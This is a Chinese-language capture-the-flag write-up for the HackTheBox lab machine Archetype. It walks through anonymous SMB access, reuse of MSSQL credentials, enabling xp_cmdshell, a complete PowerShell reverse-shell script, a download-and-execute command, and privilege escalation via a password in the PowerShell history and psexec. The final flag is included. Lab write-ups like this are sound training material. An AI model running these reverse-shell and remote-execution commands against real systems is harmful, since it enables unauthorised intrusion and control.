HackTheBox-Archetype-1
0x01 环境
最近准备玩玩hackthebox靶机,入门级靶机Archetype,首先我们需要先连上hackthebox vpn
靶机为在线,攻击机为本地kali
首先我们先在hackthebox下载openvpn,上传至kali中连接
命令
openvpn starting_point_xxx.ovpn |
连接成功
然后我们就可以快落的打靶机了。
靶机地址:10.10.10.27
0x02 工具准备
Impacket网络协议工具包
介绍:https://www.freebuf.com/sectool/175208.html
安装命令:
git clone https://github.com/CoreSecurity/impacket.git |
安装成功
smbclient是linux下用于连接windows smb共享资源的工具,此工具在kali中自带。
0x03 信息收集
端口扫描
发现开放135、139、445和1433端口。并且也是windows服务器
135、139、445是文件共享协议或打印机共享端口。
1433是mssql数据库服务端口
懂的都懂,先干445一波。毕竟是windows的,ms17-010打一波
无ms17-010
445是smb共享协议,可以尝试是否存在文件共享匿名访问。
连接命令
smbclient -N -L \\10.10.10.27\\ |
可以发现有多个共享文件夹
smbclient -N \\\\10.10.10.27\\backups #匿名访问backups文件夹 |
使用dir查看文件夹下的内容,存在prod.dtsConfig文件
get prod.dtsConfig 下载文件到本地 |
里面的账号密码应该是mssql的,可以使用Impacket工具包的mssqlclient.py
账号:ARCHETYPE/sql_svc |
连接成功。
SELECT IS_SRVROLEMEMBER('sysadmin') |
判断当前是否拥有sysadmin权限,返回值为1,说明当前用户具有sysadmin权限
使用如下命令开启xp_cmdshell
EXEC sp_configure 'Show Advanced Options', 1; |
可以执行命令后,可以直接反弹shell了。
使用powershell进行反弹,新建ps文件,写入如下命令
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.110",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
用python开启小型web服务器,方便远程下载
python3 -m http.server 8080 |
kali开启监听模式
执行如下命令
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.110:8080/shell.ps1\");" |
执行命令后,shell成功反弹回来
查看内容
找到用户名所有的文件夹,查看桌面会发现有一个user.txt文件。
type user.txt |
成功。但是系统提示,还有一个flag没有找到,查看了下官方的WriteUP。
0x04 提权
使用如下命令查看 powershell 历史信息
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt |
发现了高权限的账户和密码
账号:administrator |
使用Impacket网络协议工具包中的 psexec.py 脚本
psexec.py administrator@10.10.10.27 |
提权成功
最后在administrator的桌面找到root.txt
flag: b91ccec3305e98240082d4474b848528 |